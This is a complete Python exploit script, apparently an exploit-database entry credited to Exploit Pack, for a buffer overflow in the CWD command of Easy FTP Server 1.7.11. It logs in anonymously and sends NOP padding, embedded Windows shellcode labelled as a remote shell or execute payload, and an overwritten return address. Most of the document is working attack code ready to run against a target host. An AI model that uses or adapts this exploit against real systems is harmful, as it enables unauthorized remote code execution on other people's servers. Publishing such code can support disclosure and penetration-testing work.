Easy-FTP-Server-1.7.11

# Exploit developed using Exploit Pack v6.01
# Exploit Author: Juan Sacco - http://www.exploitpack.com -
# [email protected]
# Program affected: Easy FTP Server
# Affected value: CWD
# Version: 1.7.11
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description:  Quick 'n Easy FTP Server is a multi threaded FTP server
# for Windows 98/NT/XP/2003 and Vista(32 bits) that can be easily setup even
# by inexperienced users.
# MD5sum: c752577dfb5ea44513a3fb351d431afa
# Website: http://www.pablosoftwaresolutions.com/

import socket
import sys

target = sys.argv[1]
port = int(sys.argv[2])
shellcodeType = sys.argv[3]
bufferSize = 268
shellcode = "none"
eip = "\x91\xC8\x41\x7E" # CALL EDI - user32.dll

remoteshell =("\x89\xE5"
"\x83\xC4\xEC\x33\xC0\x50\x50\x50\x6A\x06\x6A\x01\x6A\x02\xB8"
"\x6A\x8B\xAB\x71\xFF\xD0\x8B\xD8\x33\xC0\x89\x45\xF4\xB0"
"\x02\x66\x89\x45\xF0\x66\xC7\x45\xF2\xE5\xC5\x6A\x10\x8D\x55\xF0\x52\x53\xB8"
"\x80\x44\xAB\x71\xFF\xD0\x6A\x01\x53\xB8\xD3\x8C\xAB\x71" 
"\xFF\xD0\x33\xC0\x50\x50\x53\xB8\x40\x10\xAC\x71\xFF\xD0\x8B\xD8\xBA"
"\x63\xD3\x81\x7C\x53\x6A\xF6\xFF\xD2\x53\x6A\xF5\xFF\xD2"
"\x53\x6A\xF4\xFF\xD2\xC7\x45\xFB\x41\x63\x6D\x64\x8D\x45\xFC\x50\xB8"
"\xC7\x93\xC2\x77\xFF\xD0\x31\xC0\x50\xB8\xFA\xCA\x81\x7C\xFF\xD0")

executecode=("\xda\xc0\xd9\x74\x24\xf4\xbb\xe6\x9a\xc9\x6d\x5a\x33\xc9\xb1"
"\x33\x31\x5a\x18\x83\xea\xfc\x03\x5a\xf2\x78\x3c\x91\x12\xf5"
"\xbf\x6a\xe2\x66\x49\x8f\xd3\xb4\x2d\xdb\x41\x09\x25\x89\x69"
"\xe2\x6b\x3a\xfa\x86\xa3\x4d\x4b\x2c\x92\x60\x4c\x80\x1a\x2e"
"\x8e\x82\xe6\x2d\xc2\x64\xd6\xfd\x17\x64\x1f\xe3\xd7\x34\xc8"
"\x6f\x45\xa9\x7d\x2d\x55\xc8\x51\x39\xe5\xb2\xd4\xfe\x91\x08"
"\xd6\x2e\x09\x06\x90\xd6\x22\x40\x01\xe6\xe7\x92\x7d\xa1\x8c"
"\x61\xf5\x30\x44\xb8\xf6\x02\xa8\x17\xc9\xaa\x25\x69\x0d\x0c"
"\xd5\x1c\x65\x6e\x68\x27\xbe\x0c\xb6\xa2\x23\xb6\x3d\x14\x80"
"\x46\x92\xc3\x43\x44\x5f\x87\x0c\x49\x5e\x44\x27\x75\xeb\x6b"
"\xe8\xff\xaf\x4f\x2c\x5b\x74\xf1\x75\x01\xdb\x0e\x65\xed\x84"
"\xaa\xed\x1c\xd1\xcd\xaf\x4a\x24\x5f\xca\x32\x26\x5f\xd5\x14"
"\x4e\x6e\x5e\xfb\x09\x6f\xb5\xbf\xe5\x25\x94\x96\x6d\xe0\x4c"
"\xab\xf0\x13\xbb\xe8\x0c\x90\x4e\x91\xeb\x88\x3a\x94\xb0\x0e"
"\xd6\xe4\xa9\xfa\xd8\x5b\xca\x2e\xbb\x3a\x58\xb2\x12\xd8\xd8"
"\x51\x6b\x28")

# Exploit Pack code:
# Arg[3] selects the shellcode type
if shellcodeType == "R":
  shellcode=remoteshell
if shellcodeType == "E":
  shellcode=executecode
if shellcodeType == "C":
  shellcode=executecode
if shellcodeType == "L":
  shellcode=executecode
  
def ExploitEasyFTP(target, port):
  try:
    print "# Exploit Easy FTP Server -  by Juan Sacco"
    print "# Running exploit.. please wait"
    # Calculate padding
    nops = "\x90" * (bufferSize-len(shellcode))
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    connect = s.connect((target, port))
    s.recv(1024)
    s.send('User anonymous\r\n')
    s.recv(1024)
    s.send('PASS anonymous\r\n')
    print "# Auth pass, sending buffer"
    s.send('CWD '+ nops + shellcode + eip + '\r\n')
    print "# Buffer sent, payload has been executed"
    s.recv(1024)
    s.send('QUIT ftp\r\n')
    print "# Closing session"
    s.close()
  except IOError as e:
        print "# Error executing exploit! Quitting\n"
  raise	    
ExploitEasyFTP(target, port)